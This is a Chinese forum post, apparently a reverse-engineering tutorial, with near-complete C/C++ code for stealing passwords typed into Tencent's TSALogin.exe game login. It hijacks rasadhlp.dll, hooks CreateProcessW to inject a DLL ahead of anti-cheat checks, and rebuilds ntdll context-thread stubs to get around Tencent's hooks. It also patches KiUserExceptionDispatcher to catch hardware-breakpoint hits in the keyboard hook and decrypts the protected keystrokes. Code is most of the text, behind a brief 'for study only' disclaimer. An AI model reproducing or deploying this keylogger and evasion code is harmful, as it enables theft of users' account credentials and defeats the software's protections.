Ps:本文仅为学习研究结果(通用xp和win7),私自用于任何商业活动造成的后果请自行承担
此文重点:
1、劫持rasadhlp.dll实现对TSALogin.exe的完美注入.(不少朋友对怎么注入这个exe一直不懂)
2、安装消息勾子,判断当前输入焦点
3、自己构造ZwSetContextThread,和ZwGetContextThread
4、设置硬件断点,监视键盘输入,保存未加密虚键码和加密虚键码
5、实现解密
1、构造rasadhlp.dll,可以使用看雪的dll劫持生成工具,生成代码,我忘了是哪位大神的了,先借用一下,等会上传到附件
因为TSALogin.exe是用登陆器打开的,所以只要在登陆器中做手脚就能注入TSALogin.exe,把劫持dll放到与登陆器相同目录,登陆器打开的时候,就会加载劫持dll。劫持dll再加载工作dll,然后工作dll中再做一些工作(请继续往下看)
unsigned int WINAPI _WorkThread(void * lpPram)
{
TCHAR tcWorkDll[MAX_PATH];
GetModuleFileName(nullptr,g_tcExeDir,MAX_PATH);
*( _tcsrchr(g_tcExeDir,'\\') +1 )=0;
_stprintf_s(tcWorkDll,_T("%s%s"),g_tcExeDir,_T("tencent_Login.dll"));
hTestModule=LoadLibrary(tcWorkDll);
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{//我最后测试是tgp。但是发现tgp没加密,其实游戏都是加密的,如jfzr,fifa3等
if(IsSpecifyProcessName(_T("tgp_daemon.exe")))
{
hWorkThread=(HANDLE)_beginthreadex(NULL,NULL,_WorkThread,NULL,NULL,NULL);
}
using namespace AheadLib;
return Load();
}
else if (ul_reason_for_call == DLL_PROCESS_DETACH)
{
using namespace AheadLib;
Free();
}
return TRUE;
}
2、工作dll(tencent_Login.dll),Hook CreateProcessW,实现启动TSALogin.exe的时候注入工作dll(tencent_Login.dll),这样TSAlogin.exe就被我们完美注入了,因为注入dll是在检测之前注入的,所以不会被检测
BOOL WINAPI myCreateProcess(LPCWSTR lpApplicationName,LPWSTR lpCommandLine,LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,DWORD dwCreationFlags,LPVOID lpEnvironment,LPCWSTR lpCurrentDirectory,LPSTARTUPINFOW lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation
)
{
BOOL bRet =FALSE;
CHAR tcText[MAX_PATH];
if( _tcsstr(lpCommandLine,_T("TASLogin.exe")) )
{
GetModuleFileNameA(g_hMod,tcText,MAX_PATH);
return DetourCreateProcessWithDll(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation,tcText,RealCreateProcess);
}
return RealCreateProcess(lpApplicationName,lpCommandLine,lpProcessAttributes,lpThreadAttributes,
bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,lpStartupInfo,lpProcessInformation);
}
void StartWork()
{
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
TCHAR tcText[100];
TCHAR lpProcessName[50]={0} ;
_tcscpy_s(lpProcessName, GetCurProcessName().c_str());
if( !_tcsicmp ( lpProcessName,_T("tgp_daemon.exe")) )
{
DetourAttach((PVOID*)&RealCreateProcess,myCreateProcess); //HOOK CreateProcess,实现完美注入TSALogin.exe
}
if( !_tcsicmp ( lpProcessName,_T("TASLogin.exe")) )
{
DWORD dwOldProtect;
//自己构造 ZwSetContextThread ZwGetContextThread,因为等会这2个函数会被TX hook,所以我们先构造一份自己的
ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwSetContextThread");
ZwGetContextThread=(fnZwGetContextThread)GetProcAddress(GetModuleHandle(_T("ntdll")),"ZwGetContextThread");
ReadProcessMemory((HANDLE)-1,(VOID*)ZwSetContextThread,g_ZwSetContextThreadZone,5,nullptr);
ReadProcessMemory((HANDLE)-1,(VOID*)ZwGetContextThread,g_ZwGetContextThreadZone,5,nullptr);
VirtualProtect(g_ZwSetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
VirtualProtect(g_ZwGetContextThreadZone,10,PAGE_EXECUTE_READWRITE,&dwOldProtect);
*(BYTE*)(g_ZwGetContextThreadZone+5)=0xE9;
*(BYTE*)(g_ZwSetContextThreadZone+5)=0xE9;
*(DWORD*)( g_ZwGetContextThreadZone+6)= (DWORD)ZwGetContextThread - (DWORD)g_ZwGetContextThreadZone -5;
*(DWORD*)( g_ZwSetContextThreadZone+6 )=(DWORD)ZwSetContextThread -(DWORD)g_ZwSetContextThreadZone -5;
/*_stprintf_s(tcText,_T("g_ZwGetContextThreadZone = 0x%x,g_ZwSetContextThreadZone =0x%x"),g_ZwGetContextThreadZone,g_ZwSetContextThreadZone);
OutputDebugString(tcText);*/
//Hook RtlDispatchException
ProcessDispatchException(); //设置硬件断点,监视键盘输入
g_hHookId=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,g_hMod,GetCurrentThreadId());
OutputDebugString(_T("TSALogin.exe注入成功"));
}
DetourTransactionCommit();
}
extern void StartWork();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
g_hMod=hModule;
StartWork();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
3、设置硬件断点监视键盘输入, 众所周知,TX是做了一个WH_KEYBOARD_LL来捕获输入的而且游戏是捕获到正确的虚键码,然后加密了再传到这个回调函数,然后实现 加密的l输入,,那么我们在回调函数这儿下断点,就能捕获所有输入了,然后Hook RtlDispatchException再保存未加密的虚键码和加密的虚键码,就可以做一个密码对了,最后解密会用到,请看代码
BOOL RtlDispatchException(PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext)
{
//好了,重点来了,因为要跳回去执行,所以必须先还原Ebp,Esp,否则将会出错
//g_dwExceptionAddr 这个地址就是游戏的低层键盘勾子函数入口,在这个地方能获取到当前键盘的输入
//把参数提取出来,传给FilterLowLevelMouseProc函数,进行过滤处理
if( pExcptRec->ExceptionAddress == (VOID*)g_dwExceptionAddr )
{
g_dwEbp = pContext->Ebp;
g_dwEsp=pContext->Esp;
g_dwJmpAddr =pContext->Eip+5;
__asm
{
mov ebp,g_dwEbp; //首先要还原执行环境,就是说还原成执行g_dwExceptionAddr这个地址函数之前的环境
mov esp,g_dwEsp;
push ebp; //手动构造栈空间
mov ebp,esp;
push [ebp+0x10]; //这3个参数是需要的,注意压栈顺序
push [ebp+0xC];
push [ebp+0x8];
call FilterLowLevelMouseProc;
mov esp,ebp; //还原栈空间了
pop ebp;
//这个地方不能改变,因为游戏就是这样子做的,如果变了,就没有加密虚键码了,用户就会登陆失败
push 0x99354893;
jmp g_dwJmpAddr;
}
return TRUE;
}
return FALSE;
}ULONG WINAPI _RtlDispatchException( PEXCEPTION_RECORD pExcptRec,CONTEXT * pContext )
{
ULONG uRet = 0;
if(RtlDispatchException(pExcptRec,pContext))
uRet= 1;
else
uRet= m_fnRtlDispatchException(pExcptRec,pContext);
return uRet;
}
void ProcessDispatchException()
{
TCHAR tcText[100];
DWORD dwOldProtect;
DWORD dwKiUserExceptionDispatcher=(DWORD)::GetProcAddress(::GetModuleHandle(_T("ntdll")),"KiUserExceptionDispatcher");
_stprintf_s(tcText,_T("dwKiUserExceptionDispatcher = 0x%x"),dwKiUserExceptionDispatcher);
OutputDebugString(tcText);
VirtualProtect((VOID*)dwKiUserExceptionDispatcher,5,PAGE_EXECUTE_READWRITE,&dwOldProtect);
if (dwKiUserExceptionDispatcher)
{
while (*(BYTE*)dwKiUserExceptionDispatcher!=0xE8)
dwKiUserExceptionDispatcher++; //XP~Win7正常,Win8尚无缘得见
m_fnRtlDispatchException=(pfnRtlDispatchException)((*(DWORD *)(dwKiUserExceptionDispatcher+1))+5+(DWORD)dwKiUserExceptionDispatcher); //得到原函数地址
//Hook
DWORD dwNewAddr=(DWORD)_RtlDispatchException-(DWORD)dwKiUserExceptionDispatcher-5;
WriteProcessMemory((HANDLE)-1,(void*)(dwKiUserExceptionDispatcher+1),(BYTE *)&dwNewAddr,4,nullptr);
}
}
4、提取原始虚键码和加密虚键码,通过实践发现游戏只是处理了 0-9,a-z这些字符的虚键码,所以我们只获取这部分,其它的放过。
bool bPlainCase =true;
int g_Key =0;
void WINAPI FilterLowLevelMouseProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if(nCode == HC_ACTION)
{
PKBDLLHOOKSTRUCT pKdb = (PKBDLLHOOKSTRUCT)lParam;
if( wParam == WM_KEYDOWN && IsVkCodeNeed(pKdb->vkCode) )
{
if( ::GetFocus() == g_hPwd ) //判断是不是在输入密码
{
if( bPlainCase ) //第一次来的是原始虚键码
{
if(96 <=pKdb->vkCode && pKdb->vkCode<=105 ) //小键盘的0-9,由于这几个键产生的字符是不能直接获取虚键码的,所以转换成主键盘区的0-9
pKdb->vkCode -=48;
g_Key=pKdb->vkCode;
bPlainCase=false;
}else //加密的虚键码了
{
if(96 <=pKdb->vkCode && pKdb->vkCode<=105 )
pKdb->vkCode -=48;
SetKeyPair(pKdb->vkCode,g_Key); //用std::<map>来保存密码键对,
bPlainCase=true;
}
}
}
}
}
5、输入的字符解密,前面已经在TSALogin.exe启动的时候安装了消息勾子,当WM_CHAR来的时候,就说明用户输入了字符了。用前面保存的虚键码对获取原始虚键码,然后解密
LRESULT CALLBACK GetMsgProc(__in int code,__in WPARAM wParam,__in LPARAM lParam
)
{
if( code == HC_ACTION )
{
MSG * pMsg =(MSG*)lParam;
LONG dwStyle = GetWindowLong(pMsg->hwnd,GWL_STYLE);
if( !g_hPwd &&
dwStyle & ES_PASSWORD &&
!( dwStyle&ES_MULTILINE) )
{
g_hPwd=pMsg->hwnd;
}
if( !g_hKeyboardHook && ::GetFocus() == g_hPwd)
{
if( GetModuleHandle(_T("fszwd.dat")) )
SetMintor();
}
if( pMsg->message ==WM_CHAR ) //用户输入的字符(已加密)
{
TCHAR tcTetxt[50]={0};
SHORT sVk=0;
SHORT sOrgVk=0;
if( IsCharNeed(pMsg->wParam) && ::GetFocus() ==g_hPwd ) //同样判断是不是在输入密码
{
if( pMsg->wParam >='A' && pMsg->wParam <= 'Z' ) //大写的字母不能直接翻译成虚键码
sVk = VkKeyScan(pMsg->wParam+0x20);
else
sVk = VkKeyScan(pMsg->wParam);
sOrgVk = GetPlainVkcode(sVk); //通过加密虚键码获取到原始虚键码,前面已经保存了虚键码对,所以现在直接可以取出来用了
if( sOrgVk ) //解密
{
_stprintf_s(tcTetxt,_T("ascii码:%d,解密的字符:%c"),pMsg->wParam ,pMsg->wParam + sOrgVk - sVk);
}else
_stprintf_s(tcTetxt,_T("ascii码:%d,未解密的字符:%c"),pMsg->wParam ,pMsg->wParam);
}else
{
_stprintf_s(tcTetxt,_T("没有加密的字符:%c"),pMsg->wParam);
}
OutputDebugString(tcTetxt);
}
}
return CallNextHookEx(0,code,wParam,lParam);
}
到此,本文结束,如果你觉得本文对你有帮忙,请帮忙顶一下,在此鸣谢一下
梦无极,硬件断点 hook的思路是从他的过驱动保护教程教程里面学习的
yhswwr,他的硬件断点和处理代码是从他的贴子里面学习的,虽然他的没有提供跳回原环境执行,但是还是给我帮助很多,
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